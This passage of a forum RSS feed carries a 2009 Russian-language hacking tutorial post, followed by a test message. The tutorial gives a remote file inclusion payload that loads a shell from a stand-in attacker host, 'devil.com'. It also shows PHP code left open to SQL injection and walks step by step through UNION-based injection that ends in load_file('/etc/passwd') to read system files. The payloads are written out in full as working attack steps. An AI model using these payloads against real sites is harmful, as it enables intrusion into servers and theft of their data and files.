						&lt;p&gt;&amp;#160; Код:&amp;#160; &amp;#160;&lt;/p&gt;
						&lt;p&gt;http://host/?file=http://devil.com/shell.txt&lt;br /&gt;http://host/?file=http://devil.com/shell.txt%00&lt;/p&gt;
						&lt;p&gt;3Blind SQL-инъекции &lt;br /&gt;Перейду сразу к практите,так как об этих уязвимостях я уже писал в &lt;a href=&quot;http://forum.xaknet.ru/thread5614.html&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot;&gt;http://forum.xaknet.ru/thread5614.html&lt;/a&gt;&lt;/p&gt;
						&lt;p&gt;И так,Если стоит разрешение на load_file мы можем прочитать некие системные файлы&lt;br /&gt;/etc/passwd&lt;/p&gt;
						&lt;p&gt;Пример:&lt;/p&gt;
						&lt;p&gt;Уязвимый код:&lt;/p&gt;
						&lt;p&gt;&amp;#160; Код:&amp;#160; &amp;#160;&lt;/p&gt;
						&lt;p&gt;&amp;lt;?php&lt;br /&gt;$iduser = $_GET[&#039;$id&#039;];&lt;br /&gt;$link = mysql_connect(&amp;quot;localhost&amp;quot;, &amp;quot;mysql_user&amp;quot;, &amp;quot;mysql_password&amp;quot;);&lt;br /&gt;mysql_select_db(&amp;quot;database&amp;quot;, $link);&lt;/p&gt;
						&lt;p&gt;$result = mysql_query(&amp;quot;SELECT * FROM users WHERE id=$iduser&amp;quot;, $link);&lt;br /&gt;$row = mysql_fetch_array($result);&lt;/p&gt;
						&lt;p&gt;echo &amp;quot;User mail is:&amp;quot; . $row[&amp;quot;mail&amp;quot;] . &amp;quot;\n&amp;quot;;&lt;br /&gt;?&amp;gt;&lt;/p&gt;
						&lt;p&gt;Мы незнаем колчиство столбцов и полей,но мы знаем,верное значение http://host/?id=2&lt;br /&gt;Мы пытаемся изменить результаты запроса в SQL-инъекции: &lt;br /&gt;http://host/?id=2 ORDER BY 1 ... Ok&lt;br /&gt;http://host/?id=2 ORDER BY 2 ... Ok&lt;br /&gt;http://host/?id=2 ORDER BY 3 ... Ok&lt;br /&gt;http://host/?id=2 ORDER BY 4 ... Ok&lt;br /&gt;http://host/?id=2 ORDER BY 5 ... Error&lt;/p&gt;
						&lt;p&gt;Изменяя подзапросы мы подбираем 4 колонки(дело техники):&lt;br /&gt;http://host/?id=-1 UNION SELECT 1,2,3,4&lt;/p&gt;
						&lt;p&gt;Высылаем соответственно:&lt;br /&gt;http://host/?id=2 UNION SELECT 1,2,3,4&lt;/p&gt;
						&lt;p&gt;Мы получаем:&lt;br /&gt;&lt;br /&gt;&lt;/p&gt;
						&lt;p&gt;Поскольку это первый ряд мы увидм:&lt;br /&gt;User mail is: pepelux@host&lt;br /&gt;Если мы ставим ID =- 1 мы будем получать данные: &lt;/p&gt;
						&lt;p&gt;Отправялем:&lt;br /&gt;http://host/?id=-1 UNION SELECT 1,2,3,4&lt;/p&gt;
						&lt;p&gt;Получаем:&lt;/p&gt;
						&lt;p&gt;На экране мы видим User mail is: 4 &lt;br /&gt;Мы можем использовать 4-ую колонку для иньекции:&lt;br /&gt;http://host/?id=-1 UNION SELECT 1,2,3,load_file(&#039;/etc/passwd&#039;);&lt;br /&gt;Вобщем что тут разжоыввать,дело техники,писалось об этом неоднакратно и много&lt;br /&gt;ВОбщем конкретно надоело уже писать,всем удачи)))рекомендую к прочтению:&lt;br /&gt;- &lt;a href=&quot;http://www.g-brain.net/tutorials/loc...inclusions.txt&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot;&gt;http://www.g-brain.net/tutorials/loc...inclusions.txt&lt;/a&gt;&lt;br /&gt;- &lt;a href=&quot;http://ush.it/team/ascii/hack-lfi2rce_proc/lfi2rce.txt&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot;&gt;http://ush.it/team/ascii/hack-lfi2rce_proc/lfi2rce.txt&lt;/a&gt;&lt;br /&gt;- &lt;a href=&quot;http://www.securityfocus.com/bid/3473&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot;&gt;http://www.securityfocus.com/bid/3473&lt;/a&gt;&lt;br /&gt;- &lt;a href=&quot;http://dev.mysql.com/doc/&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot;&gt;http://dev.mysql.com/doc/&lt;/a&gt;&lt;/p&gt;
						&lt;p&gt;(с)baltazar&lt;br /&gt;-------------------------&lt;/p&gt;</description>
			<author>mybb@mybb.ru (Alex1993)</author>
			<pubDate>Thu, 02 Jul 2009 23:07:17 +0400</pubDate>
			<guid>http://rich244.mybb.forum/viewtopic.php?pid=2#p2</guid>
		</item>
		<item>
			<title>Тестовое сообщение</title>
			<link>http://rich244.mybb.forum/viewtopic.php?pid=1#p1</link>
			<description>&lt;p&gt;Благодарим за выбор нашего сервиса!&lt;/p&gt;</description>
			<author>mybb@mybb.ru (Alex1993)</author>
			<pubDate>Thu, 02 Jul 2009 23:02:24 +0400</pubDate>
			<guid>http://rich244.mybb.forum/viewtopic.php?pid=1#p1</guid>
		</item>
	</channel>
</rss>
